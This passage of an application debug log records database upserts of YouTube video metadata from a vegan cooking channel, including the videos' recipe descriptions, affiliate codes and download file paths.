m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I made this vegan tofu pad thai recipe healthier by making it low-oil, increasing the amount of tofu, and packing it with more healthy veggies. If you're looking for a healthy vegan recipe that you can meal prep for the week and still have it be weight loss friendly then this is the pad thai for you! This is restaurant quality without the wild calories, fat and sugar that restaurants put in theirs. \n\nSubscribe for more weekly vegan and gluten-free recipes, grocery hauls, and more!\n\nRecipe is on my blog ➡️ https://steamyvegan.com/vegan-pad-thai/\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Healthy Vegan Tofu Pad Thai Recipe | 25 mins, under 500 cals, and perfect for meal prep", "2fb88013-8376-422d-a25a-c23a262cf9d6", 1, [], false, "npO_AUxoCxc", "https://www.youtube.com/watch?v=npO_AUxoCxc", 121, "/downloads/downloads/alec/Steamy Vegan/2025-01-19 Healthy Vegan Tofu Pad Thai Recipe | 25 mins, under 500 cals, and perfect for meal prep/Healthy Vegan Tofu Pad Thai Recipe | 25 mins, under 500 cals, and perfect for meal prep [npO_AUxoCxc].NA", false, false, false, 1, ~U[2025-01-19 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "I made this vegan tofu pad thai recipe healthier by making it low-oil, increasing the amount of tofu, and packing it with more healthy veggies. If you're looking for a healthy vegan recipe that you can meal prep for the week and still have it be weight loss friendly then this is the pad thai for you! This is restaurant quality without the wild calories, fat and sugar that restaurants put in theirs. \n\nSubscribe for more weekly vegan and gluten-free recipes, grocery hauls, and more!\n\nRecipe is on my blog ➡️ https://steamyvegan.com/vegan-pad-thai/\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Healthy Vegan Tofu Pad Thai Recipe | 25 mins, under 500 cals, and perfect for meal prep", 1, nil, false, "npO_AUxoCxc", "https://www.youtube.com/watch?v=npO_AUxoCxc", "/downloads/downloads/alec/Steamy Vegan/2025-01-19 Healthy Vegan Tofu Pad Thai Recipe | 25 mins, under 500 cals, and perfect for meal prep/Healthy Vegan Tofu Pad Thai Recipe | 25 mins, under 500 cals, and perfect for meal prep [npO_AUxoCxc].NA", false, ~U[2025-01-19 00:00:00Z]] 20:31:06.996 [debug] QUERY OK source="sources" db=1.2ms idle=10.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.999 [debug] QUERY OK source="media_items" db=2.3ms idle=10.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-16 00:00:00Z], 1] 20:31:07.002 [debug] QUERY OK source="media_items" db=1.8ms idle=12.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this what I eat in a day, I'll show you 3 healthy meal prep friendly vegan recipes and a bunch of healthy vegan snacks to help with your weight loss and healthy eating goals. I'll review 4 tips that I've been using to stay on track with my weight loss goals and hopefully all of these healthy vegan recipes inspire you with your weekly meal prep and healthy eating journey!\n\nDon't forget to subscribe for weekly vegan and gluten-free recipe content!\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Eat in a Day! Healthy Vegan Recipes (Pecan Butter and my Vegan Grocery Haul)", "ed0a8694-c87a-4324-a65b-5f5da4bccadd", 1, [], false, "__TP9mWYQmg", "https://www.youtube.com/watch?v=__TP9mWYQmg", 122, "/downloads/downloads/alec/Steamy Vegan/2025-01-16 What I Eat in a Day! Healthy Vegan Recipes (Pecan Butter and my Vegan Grocery Haul)/What I Eat in a Day! Healthy Vegan Recipes (Pecan Butter and my Vegan Grocery Haul) [__TP9mWYQmg].NA", false, false, false, 1, ~U[2025-01-16 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this what I eat in a day, I'll show you 3 healthy meal prep friendly vegan recipes and a bunch of healthy vegan snacks to help with your weight loss and healthy eating goals. I'll review 4 tips that I've been using to stay on track with my weight loss goals and hopefully all of these healthy vegan recipes inspire you with your weekly meal prep and healthy eating journey!\n\nDon't forget to subscribe for weekly vegan and gluten-free recipe content!\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Eat in a Day! Healthy Vegan Recipes (Pecan Butter and my Vegan Grocery Haul)", 1, nil, false, "__TP9mWYQmg", "https://www.youtube.com/watch?v=__TP9mWYQmg", "/downloads/downloads/alec/Steamy Vegan/2025-01-16 What I Eat in a Day! Healthy Vegan Recipes (Pecan Butter and my Vegan Grocery Haul)/What I Eat in a Day! Healthy Vegan Recipes (Pecan Butter and my Vegan Grocery Haul) [__TP9mWYQmg].NA", false, ~U[2025-01-16 00:00:00Z]] 20:31:07.003 [debug] QUERY OK source="sources" db=0.7ms idle=10.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.006 [debug] QUERY OK source="media_items" db=2.8ms idle=8.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-14 00:00:00Z], 1] 20:31:07.010 [debug] QUERY OK source="media_items" db=2.6ms idle=10.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this vegan breakfast recipes video, I'll be showing you 3 different techniques for your oatmeal recipes: stovetop oatmeal, overnight oats, and a baked oatmeal recipe. These 3 plant-based, gluten-free and meal prep friendly recipes are my best oatmeal recipes from 2024 and I eat them on the regular to lose weight, feel cozy, and follow my vegan diet.\n\nSubscribe for weekly plant-based and gluten-free recipes!\n\nMISO APPLE CINNAMON OATMEAL | MEAL PREP | serves 4 to 6\nCut the ingredients in half for a smaller batch\n\n3 cup rolled oats\n2 cups unsweetened plant milk\n2½ cups water \n2 tbsp cinnamon, divided\n½ tsp nutmeg\n4 large/6 small crisp apples diced\n4 tbsp maple syrup, divided\n2½ tbsp miso white miso paste, divided\n1 tsp ground ginger\n1 tbsp vegan butter\n\n1. Chop all the apples and divide them in half.\n2. Add oats, milk, water, 1½ tbsp cinnamon, nutmeg, and 2 tbsp of maple syrup to a large pot and whisk well to dissolve all the spices.\n3. Cover, bring to a gentle boil, then reduce heat to a simmer, add half the chopped apples and the oats. Stir to combine and cook uncovered for 15 to 20 minutes over medium-low heat, stirring occasionally to prevent the oats from sticking to the bottom.\n4. Melt 1 tbsp vegan butter in a separate large saucepan over medium heat, and add the remaining apples, ½ tbsp cinnamon, ground ginger and 2 tbsp maple syrup. Cook uncovered for about 10 to 12 minutes, stirring frequently as the apples caramelize.\n5. In a small bowl whisk the 1½ tbsp miso and 3 tbsp water. Once the oatmeal is cooked and most of the liquid is absorbed, remove the pot from the heat and pour the miso mixture over the oats, and stir well to combine. \n6. Whisk the remaining 1 tbsp miso with water, remove the cooked caramelized apples from the heat, pour the miso mixture over the apples and stir to combine. \n7. Serve the oatmeal in bowls topped with some of the miso spiced apples and a sprinkle of chopped pecans and enjoy!\n\n*MOCHA CHIP OVERNIGHT OATS*\nRecipe is for 2\n\n1 cup rolled oats\n2 scoops mocha protein powder (I used @GoodProtein Mocha)\n1 cup unsweetened soy milk\n¾ cup plant-based greek-style yogurt\n1 tsp vanilla extract\n2 tsp instant coffee\n¼ cup warm water\n1 tbsp cocoa powder\n2 tbsp chocolate chips OR cacao nibs\nDollop of vegan whipped cream\n*DRIZZLE*\n1 tbsp maple syrup\n1 tbsp plant milk\n1 tbsp cocoa powder\n\n1. Add the oats, protein powder and cocoa powder to a bowl and mix until well combined.\n2. Dissolve the instant coffee in the water. Add it to a separate mixing bowl along with the soy milk, yogurt, vanilla and mix until well combined.\n3. Pour the wet ingredients into the dry and stir well to combine until all the lumps are dissolved. Let sit for 10 minutes to thicken slightly.\n4. Pour and divide into 2 jars or sealable bowls, and refrigerate overnight.\n5. Combine the drizzle ingredients in the morning, then garnish your overnight oats with a dollop of vegan chipped cream or yogurt, the chocolate sauce and choc chips or cacao nibs. Enjoy!\n\n*RASPBERRY LEMON BAKED OATS*\n2 cups rolled oats\n¼ cup oat flour\n2 flax eggs\nZest of 1 lemon\n⅓ cup coconut sugar \n1 tsp vanilla\n1 tsp baking powder\nJuice of 1 lemon, about ¼ cup\n¼ cup unsweetened apple sauce\n¼ cup tahini\n1¼ cup plant milk\n1 cup raspberries, plus extra for topping (if frozen, thawed)\n¼ tps salt\n\n1. Preheat oven to 375F and lightly oil a 9x9 casserole dish.\n2. In a mixing bowl combine the milk, tahini, apple sauce, lemon juice and zest, vanilla, coconut sugar and flax eggs. Stir in the baking powder, oats and oat flour until combined and gently fold in the raspberries (being careful not to mash them up too much).\n3. Bake uncovered for 35 to 45 minutes until slightly firm to the touch and the edges are crisp and golden.\n4. Cut into 4 squares serve and enjoy!\n\n\n💚 PRODUCTS I LOVE USING 💚\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\nMy Fave M" <> ..., "3 Vegan and Gluten-Free Oatmeal Recipes / Miso Apple Cin., Mocha Chip, and Rasp. Lemon Baked Oats", "b3558242-6c91-4087-abd6-d0d0edd293dc", 1, [], false, "qHtEkPgGR7E", "https://www.youtube.com/watch?v=qHtEkPgGR7E", 123, "/downloads/downloads/alec/Steamy Vegan/2025-01-14 3 Vegan and Gluten-Free Oatmeal Recipes ⧸ Miso Apple Cin., Mocha Chip, and Rasp. Lemon Baked Oats/3 Vegan and Gluten-Free Oatmeal Recipes ⧸ Miso Apple Cin., Mocha Chip, and Rasp. Lemon Baked Oats [qHtEkPgGR7E].NA", false, false, false, 1, ~U[2025-01-14 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this vegan breakfast recipes video, I'll be showing you 3 different techniques for your oatmeal recipes: stovetop oatmeal, overnight oats, and a baked oatmeal recipe. These 3 plant-based, gluten-free and meal prep friendly recipes are my best oatmeal recipes from 2024 and I eat them on the regular to lose weight, feel cozy, and follow my vegan diet.\n\nSubscribe for weekly plant-based and gluten-free recipes!\n\nMISO APPLE CINNAMON OATMEAL | MEAL PREP | serves 4 to 6\nCut the ingredients in half for a smaller batch\n\n3 cup rolled oats\n2 cups unsweetened plant milk\n2½ cups water \n2 tbsp cinnamon, divided\n½ tsp nutmeg\n4 large/6 small crisp apples diced\n4 tbsp maple syrup, divided\n2½ tbsp miso white miso paste, divided\n1 tsp ground ginger\n1 tbsp vegan butter\n\n1. Chop all the apples and divide them in half.\n2. Add oats, milk, water, 1½ tbsp cinnamon, nutmeg, and 2 tbsp of maple syrup to a large pot and whisk well to dissolve all the spices.\n3. Cover, bring to a gentle boil, then reduce heat to a simmer, add half the chopped apples and the oats. Stir to combine and cook uncovered for 15 to 20 minutes over medium-low heat, stirring occasionally to prevent the oats from sticking to the bottom.\n4. Melt 1 tbsp vegan butter in a separate large saucepan over medium heat, and add the remaining apples, ½ tbsp cinnamon, ground ginger and 2 tbsp maple syrup. Cook uncovered for about 10 to 12 minutes, stirring frequently as the apples caramelize.\n5. In a small bowl whisk the 1½ tbsp miso and 3 tbsp water. Once the oatmeal is cooked and most of the liquid is absorbed, remove the pot from the heat and pour the miso mixture over the oats, and stir well to combine. \n6. Whisk the remaining 1 tbsp miso with water, remove the cooked caramelized apples from the heat, pour the miso mixture over the apples and stir to combine. \n7. Serve the oatmeal in bowls topped with some of the miso spiced apples and a sprinkle of chopped pecans and enjoy!\n\n*MOCHA CHIP OVERNIGHT OATS*\nRecipe is for 2\n\n1 cup rolled oats\n2 scoops mocha protein powder (I used @GoodProtein Mocha)\n1 cup unsweetened soy milk\n¾ cup plant-based greek-style yogurt\n1 tsp vanilla extract\n2 tsp instant coffee\n¼ cup warm water\n1 tbsp cocoa powder\n2 tbsp chocolate chips OR cacao nibs\nDollop of vegan whipped cream\n*DRIZZLE*\n1 tbsp maple syrup\n1 tbsp plant milk\n1 tbsp cocoa powder\n\n1. Add the oats, protein powder and cocoa powder to a bowl and mix until well combined.\n2. Dissolve the instant coffee in the water. Add it to a separate mixing bowl along with (truncated) 20:31:07.011 [debug] QUERY OK source="sources" db=1.1ms idle=11.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.013 [debug] QUERY OK source="media_items" db=2.3ms idle=9.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-12 00:00:00Z], 1] 20:31:07.016 [debug] QUERY OK source="media_items" db=1.5ms idle=11.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this what I eat in a day we get very realistic and I show you vegan bulletproof coffee, a savoury breakfast skillet with tofu scramble, one of my favourite vegan snacks and a simply delicious vegan pumpkin curry. All of today's vegan recipes are gluten-free, high-protein and super easy recipes to add into your vegan diet, even if you're new to cooking vegan food. \n\n*Tofu scramble ingredients*\n1 block extra firm tofu\n½ cup unsweetened plain soy milk\n½ tbsp miso paste\n½ tbsp tahini\n2 tbsp nutritional yeast\n½ tsp onion powder\n½ tsp garlic powder\n½ tsp smoked paprika\n½ tsp kala namak (black salt)\n¼ tsp turmeric\n¼ tsp black pepper\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGAN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nFree Music for Videos 👉 Music by Juju B. Goode - Day 14. Finale - https://thmatc.co/?l=341034EF\nFree Music for Videos 👉 Music by frumhere, kevatta - warm feeling - https://thmatc.co/?l=4012A522\n4\nFree Music for Videos 👉 Music by Brooks - Boop Boop - https://thmatc.co/?l=19562E49\nFree Music for Videos 👉 Music by Naomi - Saturday Light - https://thmatc.co/?l=2FE139D0\nFree Music for Videos 👉 Music by Mark Generous - That One Morning - https://thmatc.co/?l=F6BC605E\nFree Music for Videos 👉 Music by ej hoffman - a onederpaul time - https://thmatc.co/?l=92AF5106", "What I Eat in a Day 🌱 Easy High-Protein Vegan Meals 💪🏼(Tofu Scramble Skillet and Pumpkin Curry)", "9f1bcc8c-81b0-4ce4-a2a5-e9ca6644e8f1", 1, [], false, "mflYRdLVck4", "https://www.youtube.com/watch?v=mflYRdLVck4", 124, "/downloads/downloads/alec/Steamy Vegan/2025-01-12 What I Eat in a Day 🌱 Easy High-Protein Vegan Meals 💪🏼(Tofu Scramble Skillet and Pumpkin Curry)/What I Eat in a Day 🌱 Easy High-Protein Vegan Meals 💪🏼(Tofu Scramble Skillet and Pumpkin Curry) [mflYRdLVck4].NA", false, false, false, 1, ~U[2025-01-12 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this what I eat in a day we get very realistic and I show you vegan bulletproof coffee, a savoury breakfast skillet with tofu scramble, one of my favourite vegan snacks and a simply delicious vegan pumpkin curry. All of today's vegan recipes are gluten-free, high-protein and super easy recipes to add into your vegan diet, even if you're new to cooking vegan food. \n\n*Tofu scramble ingredients*\n1 block extra firm tofu\n½ cup unsweetened plain soy milk\n½ tbsp miso paste\n½ tbsp tahini\n2 tbsp nutritional yeast\n½ tsp onion powder\n½ tsp garlic powder\n½ tsp smoked paprika\n½ tsp kala namak (black salt)\n¼ tsp turmeric\n¼ tsp black pepper\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGAN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nFree Music for Videos 👉 Music by Juju B. Goode - Day 14. Finale - https://thmatc.co/?l=341034EF\nFree Music for Videos 👉 Music by frumhere, kevatta - warm feeling - https://thmatc.co/?l=4012A522\n4\nFree Music for Videos 👉 Music by Brooks - Boop Boop - https://thmatc.co/?l=19562E49\nFree Music for Videos 👉 Music by Naomi - Saturday Light - https://thmatc.co/?l=2FE139D0\nFree Music for Videos 👉 Music by Mark Generous - That One Morning - https://thmatc.co/?l=F6BC605E\nFree Music for Videos 👉 Music by ej hoffman - a onederpaul time - https://thmatc.co/?l=92AF5106", "What I Eat in a Day 🌱 Easy High-Protein Vegan Meals 💪🏼(Tofu Scramble Skillet and Pumpkin Curry)", 1, nil, false, "mflYRdLVck4", "https://www.youtube.com/watch?v=mflYRdLVck4", "/downloads/downloads/alec/Steamy Vegan/2025-01-12 What I Eat in a Day 🌱 Easy High-Protein Vegan Meals 💪🏼(Tofu Scramble Skillet and Pumpkin Curry)/What I Eat in a Day 🌱 Easy High-Protein Vegan Meals 💪🏼(Tofu Scramble Skillet and Pumpkin Curry) [mflYRdLVck4].NA", false, ~U[2025-01-12 00:00:00Z]] 20:31:07.017 [debug] QUERY OK source="sources" db=1.1ms idle=10.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.020 [debug] QUERY OK source="media_items" db=2.2ms idle=8.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-10 00:00:00Z], 1] 20:31:07.022 [debug] QUERY OK source="media_items" db=1.4ms idle=9.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this healthy Costco grocery haul I'll show you all of the vegan and gluten-free groceries I bought to feed a couple of 2 for at least a week. If you're interested in a plant-based diet or gluten-free diet then this will show you most of the vegan groceries you can buy at a Costco! 🛒\n\n🚨COMPLEMENT SITE-WIDE SALE! Right now you can save up to 45% off their entire store through July 9 at 3:00 pm Eastern! SHOP SALE ➡️ https://lovecomplement.com?aff=578\n✨Some of the products I recommend most:\n1️⃣ COMPLEMENT® Essential, with the 8 hard-to-get nutrients for plant-forward\neaters (like B12 and Omega-3s) to support brain and bone health, immunity, and\nlong-term health.\n2️⃣ COMPLEMENT® Creatine, the purest creatine monohydrate to support energy,\nmuscle retention, and longevity.\n3️⃣ COMPLEMENT® Organic Protein, a smooth, non-chalky, transparent protein to support\nlean muscle mass\nWhether you’re looking to boost energy, support recovery, or simplify your routine, now’s\nthe time…Click MY LINK 👉🏻 to save up to 45%! 👉🏻 https://lovecomplement.com?aff=578 \n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: janellec30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Costco Grocery Haul 🛒 Healthy Plant Based and Gluten Free Options! 🌱", "2e73bdd5-0064-4992-89cb-343257ee42c7", 1, [], false, "sPG-fb26Mf0", "https://www.youtube.com/watch?v=sPG-fb26Mf0", 125, "/downloads/downloads/alec/Steamy Vegan/2025-01-10 Costco Grocery 